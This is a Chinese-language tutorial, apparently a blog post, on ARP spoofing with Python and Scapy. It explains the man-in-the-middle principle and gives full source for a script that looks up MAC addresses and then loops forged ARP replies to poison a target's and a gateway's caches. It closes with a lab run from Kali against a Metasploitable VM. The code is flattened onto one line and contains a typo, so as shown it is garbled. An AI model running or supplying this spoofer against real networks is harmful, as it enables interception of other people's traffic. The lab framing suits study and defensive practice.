python+scapy实现ARP欺骗
需要下载的库ARP欺骗原理源代码:运行结果需要下载的库
可以直接通过pip下载
pip install scapy
ARP欺骗原理
设网关的IP为10.10.10.1,MAC为11:22:33:44:55:AA;
攻击主机的IP为10.10.10.3,MAC为11:22:33:44:55:CC;
受害主机的IP为10.10.10.2,MAC为11:22:33:44:55:BB;
1、攻击主机向网关和目标主机发送ARP欺骗报文,告诉目标主机pc2我是网关,但包中的mac地址为攻击主机pc1的mac地址;告诉网关我是目标主机pc2,但包中的mac地址为攻击主机pc1的mac地址。
2、3即目标主机和网关之间的联系,其实都是向攻击主机发送,由攻击主机先接收,再由攻击主机发送原本应该接收的主机。
源代码:
其中getmac函数对于返回包中源mac地址获取,可以参考python3编写arp扫描器[玩具]中有对srp返回包的结构分析(很详细!)
from scapy.all import *def getmac(target_ip):arp_p=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1,pdst=target_ip)ans=srp(arp_p,timeout=2,verbose=False)return ans[0].res[0][1][1].fields['hwsrc']#返回mac地址def spoofarpcache(target_ip,target_mac,source_ip):spoofed=ARP(op=2,pdst=target_ip,psrc=source_ip,hwdst=target_mac)send(spoofed,verbose=False)def restorearp(target_ip,target_mac,source_ip,source_mac):packet=ARP(op=2,hwsrc=source_mac,psrc=source_ip,hwdst=target_mac,pdst=target_ip)send(packet,verbose=False)print("ARP Table restored to normal for",target_ip)def main():target_ip=input("Enter Target IP:")gateway_ip=input("Enter Gateway IP:")try:target_mac=getmac(target_ip)print("Target MAC:",target_mac)except:print("Target machine did not respond ARP broadcast.")quit()try:gateway_mac=getmac(gateway_ip)print("Gateway MAC:",gateway_mac)except:print("Gateway is unreachable.")quit()try:print("Sending spoofed ARP responses.")while True:spoofarpcache(target_ip,target_mac,gateway_ip)spoofarpcache(gateway_ip,gateway_mac,target_ip)except:pirnt("ARP spoofing stopped.")restorearp(gateway_ip,gateway_mac,target_ip,target_mac)restorearp(target_ip,target_mac,gateway_ip,gateway_mac)quit()if __name__=="__main__":main()
运行结果
攻击主机为我的kali主机,目标主机为metasploitable-win2k8虚拟靶机,py是在kali上运行的。
运行结果(kali ip为192.168.44.129,mac为00:0C:29:F6:66:EA;虚拟靶机ip为192.168.44.134 ,mac为00:0C:29:8E:C0:8D;网关ip为192.168.44.2,mac为00:50:56:EE:9D:38):
运行py截图:
原靶机上arp-a,网关的mac地址:
ARP欺骗后(运行后),网关的mac地址变为kali的mac地址: